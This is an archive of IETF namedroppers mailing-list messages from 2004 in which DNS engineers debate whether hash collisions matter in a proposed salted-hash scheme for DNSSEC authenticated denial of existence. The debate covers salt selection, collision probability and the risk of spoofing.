<200409151148.i8FBm9QR075629@drugs.dv.isc.org> Precedence: bulk On Wed, 15 Sep 2004, Mark Andrews wrote: > > > --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> > > wrote: > > > > > You are incorrect. All the current schemes have a hash of less than > > > 64 octets. There will ALWAYS be a possibility of collision even > > > after trying every salt as it is impossible to make the hash space > > > larger than the pre-hash space. > > > > But the pre-hash space is sparse, and we only care about collisions of > > ACTUAL values in the pre-hash space, not potential values. IE (assuming all > > octet values are OK and 64 byte labels for the sake of argument) there are > > the pre-hash space is size 256^64 and the hash space is smaller (let's say > > we represent them as alphanumerics so 36^64) - which is presumably your > > complaint. Note 256^64 is approximately 10^153, and there are about 10^79 > > atoms in the universe, so I predict in applications the pre-hash space will > > be sparse as even if we could represent one RR in just one atom, we are way > > off filling the zone :-) So this doesn't matter provided there is a > > limitation on the number of RR's in a zone - the limitation doesn't have to > > be impactful - If it was 10^76 (number of atoms in the universe over 1000), > > we'd still have 10^79 possible salt values to work through, i.e. about 263 > > bits of salt. And as I pointed out earlier, as 76*2<153, the expected > > number of iterations to find a salt that works is less than 2. > > > > I do not think limiting a zone file to 10^79 RRs is going to have > > a significant deployment impact. > > > > Alex > > You can't write a draft assuming that there won't be collisions. > There will ALWAYS be the possibility of collisions (salts only > reduce the probability) and you have to take those into account. At hash generation time, in case of collision with an existing name, alter salt. At name inclusion time, in case of collision with an existing hash, alter salt. At serving time, in case of collision, be famous: Oh, if anyone can give an example of an actual collision of two different inputs for say SHA-1 (full rounds please), please speak up. > You have to describe what to do when you have a collision. Don't > say they won't occur because they will. In case of an actual collision at serve time (birthday paradox does not apply here, all pre-images were chosen for you), you treat this as a false positive. A false positive implies that a non-existent name and type is now proven to exist. I can't even imagine how one can abuse that fact. Oh, if anyone can give an example of an actual abuse of false positives, please speak up. > For RRSIG the impact of collisions is that there are two (or more) > RRsets that you cryptographically prove they are different. > > For name hashes you end up with different names with possible > different sets of types that you some how have to merge. If the > sets are identical I don't think there is a issue but it would need > to be discussed. > > You will also have occasional false matches (names that you > can't prove that don't exist). There MUST be names for which > this will occur. If _ever_ such a name can be uncovered, register it with some type. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 09:31:42 -0400 Lines: 24 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:48:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 21:48 +1000 9/15/04, Mark Andrews wrote: > For name hashes you end up with different names with possible > different sets of types that you some how have to merge. If the > sets are identical I don't think there is a issue but it would need > to be discussed. Why not just include both records as an RRset? I think this is why I'm thinking we should have split the problem into solving "name error" proofs and "no data" proofs. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 09:29:13 -0400 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:49:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 8:04 +1000 9/15/04, Mark Andrews wrote: > > The data doesn't have to be sorted but the hashes do. "6 of 1, > half a dozen of the other" as far as I am concerned. For a lookup resulting in an answer, you don't need to access the hashes. So, for all positive hits, you can go back to the old means of storing a zone's contents in memory. Only for lookups resulting in negative answers do you have to have a sorted list of things to respond with. > You are incorrect. All the current schemes have a hash of less than > 64 octets. There will ALWAYS be a possibility of collision even > after trying every salt as it is impossible to make the hash space > larger than the pre-hash space. Well, I believe that. Still I don't understand why collisions are a problem. Perhaps because I am assuming that you'd only need to give out hash answers in name errors, so the list of RRSETs doesn't matter. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 23:44:53 +1000 Lines: 95 Sender: owner-namedroppers@ops.ietf.org References: <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:53:58 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Roy Arends <roy@dnss.ec> In-reply-to: Your message of "Wed, 15 Sep 2004 15:06:59 +0200." <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> Precedence: bulk > On Wed, 15 Sep 2004, Mark Andrews wrote: > > > > > > --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> > > > wrote: > > > > > > > You are incorrect. All the current schemes have a hash of less > than > > > > 64 octets. There will ALWAYS be a possibility of collision even > > > > after trying every salt as it is impossible to make the hash spa > ce > > > > larger than the pre-hash space. > > > > > > But the pre-hash space is sparse, and we only care about collisions of > > > ACTUAL values in the pre-hash space, not potential values. IE (assuming al > l > > > octet values are OK and 64 byte labels for the sake of argument) there are > > > the pre-hash space is size 256^64 and the hash space is smaller (let's say > > > we represent them as alphanumerics so 36^64) - which is presumably your > > > complaint. Note 256^64 is approximately 10^153, and there are about 10^79 > > > atoms in the universe, so I predict in applications the pre-hash space wil > l > > > be sparse as even if we could represent one RR in just one atom, we are wa > y > > > off filling the zone :-) So this doesn't matter provided there is a > > > limitation on the number of RR's in a zone - the limitation doesn't have t > o > > > be impactful - If it was 10^76 (number of atoms in the universe over 1000) > , > > > we'd still have 10^79 possible salt values to work through, i.e. about 263 > > > bits of salt. And as I pointed out earlier, as 76*2<153, the expected > > > number of iterations to find a salt that works is less than 2. > > > > > > I do not think limiting a zone file to 10^79 RRs is going to have > > > a significant deployment impact. > > > > > > Alex > > > > You can't write a draft assuming that there won't be collisions. > > There will ALWAYS be the possibility of collisions (salts only > > reduce the probability) and you have to take those into account. > > > At hash generation time, in case of collision with an existing name, alter > salt. > > At name inclusion time, in case of collision with an existing hash, alter > salt. > > At serving time, in case of collision, be famous: > > Oh, if anyone can give an example of an actual collision of two different > inputs for say SHA-1 (full rounds please), please speak up. > > > You have to describe what to do when you have a collision. Don't > > say they won't occur because they will. > > In case of an actual collision at serve time (birthday paradox does not > apply here, all pre-images were chosen for you), you treat this as a false > positive. A false positive implies that a non-existent name and type is > now proven to exist. I can't even imagine how one can abuse that fact. The problem is that you cannot supply a secure answer to the question asked. For every hash there is a enormous set of qnames which all has to the same value. > Oh, if anyone can give an example of an actual abuse of false positives, > please speak up. > > > For RRSIG the impact of collisions is that there are two (or more) > > RRsets that you cryptographically prove they are different. > > > > For name hashes you end up with different names with possible > > different sets of types that you some how have to merge. If the > > sets are identical I don't think there is a issue but it would need > > to be discussed. > > > > You will also have occasional false matches (names that you > > can't prove that don't exist). There MUST be names for which > > this will occur. > > If _ever_ such a name can be uncovered, register it with some type. > > Roy -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 23:53:21 +1000 Lines: 49 Sender: owner-namedroppers@ops.ietf.org References: <a06020401bd6df34b2ccf@[192.168.1.100]> Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:01:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 15 Sep 2004 09:29:13 -0400." <a06020401bd6df34b2ccf@[192.168.1.100]> Precedence: bulk > At 8:04 +1000 9/15/04, Mark Andrews wrote: > > > > The data doesn't have to be sorted but the hashes do. "6 of 1, > > half a dozen of the other" as far as I am concerned. > > For a lookup resulting in an answer, you don't need to access the > hashes. So, for all positive hits, you can go back to the old means > of storing a zone's contents in memory. > > Only for lookups resulting in negative answers do you have to have a > sorted list of things to respond with. The same is true of NSEC. > > You are incorrect. All the current schemes have a hash of less than > > 64 octets. There will ALWAYS be a possibility of collision even > > after trying every salt as it is impossible to make the hash space > > larger than the pre-hash space. > > Well, I believe that. Still I don't understand why collisions are a > problem. Perhaps because I am assuming that you'd only need to give > out hash answers in name errors, so the list of RRSETs doesn't matter. The problem is that by using hashes there you are creating sets of QNAMES for which you cannot return NXDOMAIN securely. One set for each hash in use. If you have collisions with hashes of names with data you cannot hand out NODATA responses securely. Yes, Roy you can exhaust salt space. > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 00:04:13 +1000 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <a06020402bd6df4566b25@[192.168.1.100]> Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:12:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 15 Sep 2004 09:31:42 -0400." <a06020402bd6df4566b25@[192.168.1.100]> Precedence: bulk > At 21:48 +1000 9/15/04, Mark Andrews wrote: > > > For name hashes you end up with different names with possible > > different sets of types that you some how have to merge. If the > > sets are identical I don't think there is a issue but it would need > > to be discussed. > > Why not just include both records as an RRset? Because you can now spoof away data that exist. > I think this is why I'm thinking we should have split the problem > into solving "name error" proofs and "no data" proofs. > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 10:15:31 -0400 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:27:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 23:53 +1000 9/15/04, Mark Andrews wrote: > The problem is that by using hashes there you are creating > sets of QNAMES for which you cannot return NXDOMAIN securely. > One set for each hash in use. ? I'm probably not on the same wavelength about hashes. I think the hash space needn't be considered part of the DNS data tree, just a transformation of existing names into an obscured representation. I.e., in a response message with a name error in the return code, the verifier ought to realize that the negative answer proof records are using transformed names, not plain text names. > > If you have collisions with hashes of names with data you cannot > hand out NODATA responses securely. Yes, Roy you can exhaust > salt space. Let's say the labels in a zone are {chamberlin erving julius wilt} and the corresponding hash values are { 6 9 13 } with a collision. Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9. Hmmm, I picked out 9 by randomly hitting a key and seeing that I managed to pick a collision between the qname and one or more members of the zone. Will this still work out? So, I get back a "name error" with "9 NSEC7 13" in the authority section. After verifying the record (via the RRSIG), what next? I suppose it's then possible to a victim of an insertion attack - an interloper passes back this collision with there being a genuine robertson in the zone. What if there the qname's hash was 10? In that case, I don't see a problem in the collision amongst zone members. But - it's the collision between qname and zone content - which isn't possible to know at signing or serving time - that might be a problem. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Chris Thompson <cet1@cus.cam.ac.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:27:06 +0100 (BST) Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:38:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <200409151353.i8FDrLBu076024@drugs.dv.isc.org> from "Mark Andrews" at Sep 15, 4 11:53:21 pm X-Mailer: ELM [version 2.4 PL24] Content-Length: 1297 Precedence: bulk Mark Andrews writes: [...snip...] > The problem is that by using hashes there you are creating > sets of QNAMES for which you cannot return NXDOMAIN securely. > One set for each hash in use. Maybe a different mechanism for securely returning NXDOMAIN is needed in these cases? If a name being looked up hashes to something different from every extant name, return the signed NSEC' record to prove it by showing an interval of hash values free of extant ones. But if the hash matches that of one or more extant names, but the name isn't any of them, then return a signed NSEC'' record that lists all the extant names that hash to that value (proving that the caller's wasn't one of them). That gives away one or more names in the zone, of course, but the caller had to be pretty damn lucky to get a hash match in the first place. This idea is somewhat half-baked, in that representing a list of names of potentially unlimited length in a signed answer could pose problems. (Although now you really could play "change the salt, Walt" to finesse that.) Chris Thompson Email: cet1@cam.ac.uk -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:28:32 +0100 Lines: 80 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:40:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 21:48 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > You can't write a draft assuming that there won't be collisions. > There will ALWAYS be the possibility of collisions (salts only > reduce the probability) and you have to take those into account. > > You have to describe what to do when you have a collision. Don't > say they won't occur because they will. Well we seem to be disagreeing on a point of mathematics not protocol here. I am saying that it is always going to be possible, in time no worse than O(n) (correct case for "O") where n is the zone size, to find a salt such that there are no hash collisions, provided that the size of the zone is less than the square root of the size of the hash space. I agree a collision MAY occur, and my description for dealing with it is to chose subsequent salts using a cyclic function of order at least the hash length, until a collision doesn't occur. Such a cyclic function might be "add one modulo max hash value". I believe I've demonstrated that this process finds a salt providing a non-colliding set (incidentally both non-colliding in the sense that no hashed name collides with a name prior to hashing, an also that no hashed name collides with any other hashed name), that the expected number of iterations is less than 2, and that each iteration is o(n), provided the requirements on maximum zone size are adhered to (as per another email, they have no practical impact). The foregoing is maths rather than protocol design (or at least my attempt at maths), so it should be something objectively verifiable. It's a fair while since I did this stuff academically, so perhaps with more recent experience might like to chime in. In a nutshell, I assert: Given a set of n integers, p(i), where 0<=p(i)<K, and a hash function H (satisfying all the normal properties) such that 0<=H(p(i),S)<J, and K > n^2, and J<=K, it is possible to find a salt value S for the hash such that: there is no (i, j) such that H(p(i),S)=p(j) and there is no (i, j) where i!=j such that H(p(i),S)=H(p(j),S) by the algorithm of selecting a value S at random from the interval O<=S<J, and, if the condition is not satisfied modifying S according to a cyclic function of length J (such as adding 1), until the condition is satisfied. I further assert that assuming hashing the set p(i) is o(n), then finding a non-colliding S (i.e. an S satisfying the above conditions) is no worse than O(n). If that's a fair statement of the problem, we've reduced it to a mathematical argument, yes? IE if my assertion is right, collisions are not a problem? > For RRSIG the impact of collisions is that there are two (or more) > RRsets that you cryptographically prove they are different. > > For name hashes you end up with different names with possible > different sets of types that you some how have to merge. If the > sets are identical I don't think there is a issue but it would need > to be discussed. > > You will also have occasional false matches (names that you > can't prove that don't exist). There MUST be names for which > this will occur. There must be such names for a given salt value (though such names are computationally very hard to find). I am pretty sure one can prove that there are not such names for ALL salt values. I am sure one cannot prove that there ARE such names for all salt values. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:31:44 +0100 Lines: 26 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:41:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 15:06 +0200 Roy Arends <roy@dnss.ec> wrote: > At hash generation time, in case of collision with an existing name, alter > salt. > > At name inclusion time, in case of collision with an existing hash, alter > salt. > > At serving time, in case of collision, be famous: I'm confused Roy - if you do the first two, how can the third ever occur (even if you COULD find an SHA-1 collision). Or more accurately you can avoid it by defining collision (in the first two) as either H(i)=j OR H(i)=H(j) (i.e. regenerate the hash if you find two labels hash to the same value - so you become potentially famous at hash generation or name inclusion time, not at serving time) Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:40:03 +0200 (CEST) Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 16:47:14 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Precedence: bulk On Wed, 15 Sep 2004, Alex Bligh wrote: > --On 15 September 2004 15:06 +0200 Roy Arends <roy@dnss.ec> wrote: > > > At hash generation time, in case of collision with an existing name, alter > > salt. > > > > At name inclusion time, in case of collision with an existing hash, alter > > salt. > > > > At serving time, in case of collision, be famous: > > I'm confused Roy - if you do the first two, how can the third ever > occur (even if you COULD find an SHA-1 collision). > > Or more accurately > you can avoid it by defining collision (in the first two) as either > H(i)=j OR H(i)=H(j) (i.e. regenerate the hash if you find two labels > hash to the same value - so you become potentially famous at hash > generation or name inclusion time, not at serving time) At generation/inclusion/serving time, it is virtually impossible to assert the content of a future query. A hash over this future -yet-unknown- query may collide with a hash over an existing name. You'll be famous at serving time. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:37:48 +0100 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 17:47:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Mark Andrews wrote: >>Hash collisions are fantastically unlikely. With salt you can make them >>never occur, anyway. Plus, if they were a problem, then you would have >>the same issue with signatures, but I don't see anyone bringing that one up. > > > You are incorrect. All the current schemes have a hash of less than > 64 octets. There will ALWAYS be a possibility of collision even > after trying every salt as it is impossible to make the hash space > larger than the pre-hash space. I agree, in theory. However, in practice, there's no way to have a zone with size 2^512, or even 2^160, so this is not a problem in real life. Even a zone large enough to have a 1 in 2 chance of a hash collision (2^80) is mind-bogglingly unlikely. If I'd started at the beginning of the Universe[1], I'd have to have generated 30 million domains a second to have a zone that large today. Cheers, Ben. [1] 12,000,000,000 years ago, says me. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:40:01 +0100 Lines: 43 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 17:48:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <C09F24F165286F1E0D6E6C41@[192.168.0.16]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Alex Bligh wrote: > > > --On 15 September 2004 15:06 +0200 Roy Arends <roy@dnss.ec> wrote: > >> At hash generation time, in case of collision with an existing name, >> alter >> salt. >> >> At name inclusion time, in case of collision with an existing hash, alter >> salt. >> >> At serving time, in case of collision, be famous: > > > I'm confused Roy - if you do the first two, how can the third ever > occur (even if you COULD find an SHA-1 collision). Or more accurately > you can avoid it by defining collision (in the first two) as either > H(i)=j OR H(i)=H(j) (i.e. regenerate the hash if you find two labels > hash to the same value - so you become potentially famous at hash > generation or name inclusion time, not at serving time) The collision would be between the name requested and one of the existing names in the zone. And the reason you'd be famous is you'd have broken second preimage resistance for SHA-1. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 16:48:35 +0100 Lines: 53 Sender: owner-namedroppers@ops.ietf.org References: <4146E8A0.2060402@algroup.co.uk> <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> <6466.1095250302@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: 